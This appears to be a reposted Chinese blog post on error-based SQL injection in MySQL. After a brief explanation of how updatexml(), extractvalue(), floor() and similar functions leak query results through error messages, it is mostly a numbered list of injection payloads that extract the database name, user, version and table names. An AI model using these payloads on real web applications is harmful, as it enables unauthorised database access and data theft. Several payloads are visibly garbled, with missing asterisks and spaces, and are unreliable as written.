報錯型sql注入
當union select出現不適用的情形下,我們通常使用報錯來進行注入,
報錯注入的原理就是通過構造特殊的報錯陳述句,使mysql資料庫報錯,使我們查詢的內容顯示在報錯資訊中,同時把報錯資訊顯示在頁面上,
常用的報錯函式有 updateXML(),extractvalue(),floor()等等,大致報錯的原理就是利用輸入字串邏輯上的沖突造成報錯,
以updatexml為例:
報錯payload: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
updatexml(1,2,3),需要3個引數,1是指查找,2是指xml檔案的路徑,3是指替換,總體來說就是在一個xml檔案的路徑2中找1個字串并且用3替換掉,如果路徑出錯的話,就會把路徑資訊通過報錯顯示在頁面上,注入的思路就是要構造一個不存在的路徑,在路徑中填充我們的sql注入運算式,從而就能把查詢的結果輸出在報錯資訊中,
事實上報錯注入適用的場景很多,不光是select,insert update delete都會有涉及,并且用的很多,
1、通過floor報錯,注入陳述句如下: and (select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a)%23
2、通過ExtractValue報錯,注入陳述句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通過UpdateXml報錯,注入陳述句如下: and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通過NAME_CONST報錯,注入陳述句如下: and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通過join報錯,注入陳述句如下: select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過exp報錯,注入陳述句如下: and exp(~(select * from (select user () ) a) );
7、通過GeometryCollection()報錯,注入陳述句如下: and GeometryCollection(()select *from(select user () )a)b );
8、通過polygon ()報錯,注入陳述句如下: and polygon (()select * from(select user ())a)b );
9、通過multipoint ()報錯,注入陳述句如下: and multipoint (()select * from(select user() )a)b );
10、通過multlinestring ()報錯,注入陳述句如下: and multlinestring (()select * from(selectuser () )a)b );
11、通過multpolygon ()報錯,注入陳述句如下: and multpolygon (()select * from(selectuser () )a)b );
12、通過linestring ()報錯,注入陳述句如下: and linestring (()select * from(select user() )a)b );
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/5087.html
標籤:其他
